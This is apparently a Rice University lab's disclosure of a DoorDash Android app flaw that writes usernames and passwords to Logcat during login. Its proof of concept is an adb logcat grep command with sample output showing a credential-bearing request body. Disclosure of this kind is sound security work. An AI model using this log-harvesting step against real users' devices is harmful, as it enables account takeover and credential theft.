Security Problem in DoorDash Android App

# Exploit Title: DoorDash Android App - Username/Password Logging
# Application: DoorDash
# Version: 11.0.2 ~ 11.5.2 (all versions we tested have this problem)
# Software Link: https://play.google.com/store/apps/details?id=com.dd.doordash
# Company: DoorDash
# Installs: 10,000,000+  (#1 in food category in Google Play)
# Impact: Looking at the output of Logcat, hackers can get username and password of DoorDash
# Category: Mobile Apps
# Tested on: Android 9

---Description---
Usernames and passwords are stored in the log during the authentication. So, hackers can obtain user password/ID of DoorDash, simply looking at Logcat. Especially, in old Android versions prior to Android Jelly Bean, any app installed can access Logcat without any permission.

---Vendor feedback---
We have reported this issue, and they will fix it soon.

---PoC---
1. Try to log in DoorDash Android app, Android app.
  - Opening Login UI
  - Enter credentials. Fake information is enough for reproducing.

2. Search password in Logcat
$ adb logcat | grep 'OkHttp'

10-07 16:09:34.498 10066 10201 D OkHttp  : --> POST https://api.doordash.com/v2/auth/token/
10-07 16:09:34.498 10066 10201 D OkHttp  : Content-Type: application/json; charset=UTF-8
10-07 16:09:34.498 10066 10201 D OkHttp  : Content-Length: 109
10-07 16:09:34.498 10066 10201 D OkHttp  : X-NewRelic-ID: XAUEWF5SGwEJUFhUDwcA
10-07 16:09:34.498 10066 10201 D OkHttp  : {"client_id":"6086ebcbfb859ee3","email":"jaeho.lee@rice.edu","is_manual":true,"password":"MyPasswordIsHere!"}
10-07 16:09:34.498 10066 10201 D OkHttp  : --> END POST (109-byte body)


---Reporter---
Jaeho Lee(Jaeho.Lee@rice.edu)
Rice Computer Security Lab
Rice University